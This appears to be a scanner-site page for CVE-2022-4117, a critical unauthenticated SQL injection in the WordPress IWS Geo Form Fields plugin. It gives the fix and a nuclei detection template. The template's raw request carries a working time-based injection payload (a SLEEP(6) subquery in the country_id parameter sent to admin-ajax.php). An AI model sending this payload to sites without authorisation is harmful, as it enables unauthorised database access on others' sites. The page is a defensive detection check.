WordPress IWS Geo Form Fields <=1.0 - SQL Injection

criticalseverity

9.8CVSS score

5.3%likelihood of exploitation, next 30 days

93%of all CVEs are less likely

Readycheck to confirm it

WordPress IWS Geo Form Fields plugin through 1.0 contains a SQL injection vulnerability. The plugin does not properly escape a parameter before using it in a SQL statement via an AJAX action available to unauthenticated users. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or further compromise of the affected WordPress site.

Fix

Update to the latest version of the WordPress IWS Geo Form Fields plugin (>=1.1) or apply the vendor-supplied patch to mitigate the SQL Injection vulnerability.

How to confirm it

Send: @timeout: 15s
Positive when: duration>=6 and status_code == 200 and contains(body, "\"status\":200") && contains(body, "{\"html\":")

Run it with nuclei: nuclei -id CVE-2022-4117 -u <target>

The full check

id: CVE-2022-4117

info:
  name: WordPress IWS Geo Form Fields <=1.0 - SQL Injection
  author: theamanrawat
  severity: critical
  description: |
    WordPress IWS Geo Form Fields plugin through 1.0 contains a SQL injection vulnerability. The plugin does not properly escape a parameter before using it in a SQL statement via an AJAX action available to unauthenticated users. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or further compromise of the affected WordPress site.
  remediation: |
    Update to the latest version of the WordPress IWS Geo Form Fields plugin (>=1.1) or apply the vendor-supplied patch to mitigate the SQL Injection vulnerability.
  reference:
    - https://wpscan.com/vulnerability/1fac3eb4-13c0-442d-b27c-7b7736208193
    - https://wordpress.org/plugins/iws-geo-form-fields/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-4117
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/cyllective/CVEs
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-4117
    cwe-id: CWE-89
    epss-score: 0.05303
    epss-percentile: 0.92653
    cpe: cpe:2.3:a:iws-geo-form-fields_project:iws-geo-form-fields:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: iws-geo-form-fields_project
    product: iws-geo-form-fields
    framework: wordpress
  tags: time-based-sqli,cve,cve2022,sqli,wordpress,wp-plugin,wp,iws-geo-form-fields,wpscan,iws-geo-form-fields_project,vkev,vuln

http:
  - raw:
      - |
        @timeout: 15s
        POST /wp-admin/admin-ajax.php?action=iws_gff_fetch_states HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        country_id=1%20AND%20(SELECT%2042%20FROM%20(SELECT(SLEEP(6)))b)

    matchers:
      - type: dsl
        dsl:
          - 'duration>=6'
          - 'status_code == 200'
          - 'contains(body, "\"status\":200") && contains(body, "{\"html\":")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from